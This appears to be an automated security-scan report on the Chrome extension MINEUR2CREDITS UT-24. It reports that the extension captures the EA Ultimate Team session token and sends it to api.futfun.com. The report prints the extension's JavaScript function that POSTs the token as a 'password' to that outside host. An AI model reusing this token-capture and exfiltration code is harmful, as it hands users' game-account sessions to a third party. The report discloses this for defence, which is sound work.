Is MINEUR2CREDITS UT-24 safe?

Medium risk

MINEUR2CREDITS UT-24 reads your EA session token and sends it to api.futfun.com when the server requests it.

The extension watches requests to EA Ultimate Team servers and stores the X-UT-SID session header and your persona ID. When the vendor's server flags a trade request on a linked futfun account, the extension sends the session token to api.futfun.com/authentication_token as a 'password', alongside a generated persona@futfun.com email. This gives the vendor's backend a session it can use to act on your EA transfer market.

yohantenmav1.0Chrome Web Store
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension sends EA FUT session token to api.futfun.com as a password

Code analysis shows the extension reads the X-UT-SID header from EA FUT requests and, when a server flag is set, POSTs it to api.futfun.com as the password field.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You use the EA Ultimate Team web app, which sends requests carrying an X-UT-SID header.

The extension did this

The extension stores that session ID and, when the server flag is set, posts it to api.futfun.com.

The gate is the tradeIsRequested value returned by the vendor API.

Fields in the POST to api.futfun.com/authentication_token
  • password
    X-UT-SID value (illustrative: 6f1c2a9e-3b7d-4e58-a0c4-91d2e5b7c3f8)

    The EA session token read from the request header, sent in the password field.

  • email
    1234567890456@futfun.com (illustrative)

    A persona address built from the EA persona ID plus a fixed futfun.com suffix.

The code that does this

Header capture and the credential-bearing POST

Readable version

POST of persona and session ID

background.js
function callGenerateCoins(email, password) {  const requestOptions = {    method: "POST",    headers: { "Content-Type": "application/json" },    body: JSON.stringify({ email, password }),  };  windowAlert("callGenerateCoins" + password);  return fetch(    `https://api.futfun.com/authentication_token`,    requestOptions  ).then((user) => {    chrome.storage.local.set({      token: user.token,      user: user.uuid,    });    return user;  });}
Where the session token goes
    • api.futfun.com

    Receives the session token and persona email, and returns the account flag that gates the POST.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed MINEUR2CREDITS UT-24 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.futfun.com

    MINEUR2CREDITS UT-24 sends data to api.futfun.com. One other extension we have analysed sends data here.

Updated 15 October 2026digideaenbdodecdodlkmpbegiclnpnl